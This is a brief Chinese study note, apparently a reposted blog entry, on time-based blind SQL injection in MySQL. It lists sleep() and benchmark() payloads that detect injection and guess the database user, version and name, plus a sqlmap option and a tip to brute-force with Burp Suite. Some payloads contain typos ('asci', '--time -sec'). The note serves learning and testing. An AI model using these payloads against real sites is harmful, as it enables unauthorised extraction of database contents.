SQL注入--延时注入笔记(也称为基于时间的盲注)

延迟注入(时间盲注)

延时注入是通过页面返回的时间来判断的
不同的mysaql数据库版本,延迟注入语句也不同
mysql>=5.0的可以使用sleep()进行查询
mysql<5.0的可以使用benchmark()进行查询
benchmark用法
benchmark(n,sql语句)n为查询次数
通过查询次数增多时间变得缓慢来判断是否存在延迟
select benchmark(1000,select*from admin);
sleep()延迟注入用法
sleep可以强制产生一个固定的延迟。
sleep()延迟注入核心原理
and if(true,sleep(5),0);== F(1=1,true,false);
id=1 and sleep(5)判断下是否存在延迟注入
and if(substring(user(),1,4)=‘root’,sleep(5),1)判断当前用户
and if(MID(version(),1,1)LIKE 5,sleep(5),1)判断数据库版本信息是否为5可以去猜解他的数据库名称
and if(asci(substring(database(),1,4))>100,sleep(5),1)
sqlmap --time -sec=2延迟注入

可用burp suite中的爆破模块来跑,详细见笔记

https://www.cnblogs.com/startingpoint-fly/p/11158011.html

你可能感兴趣的:(#,SQL注入笔记)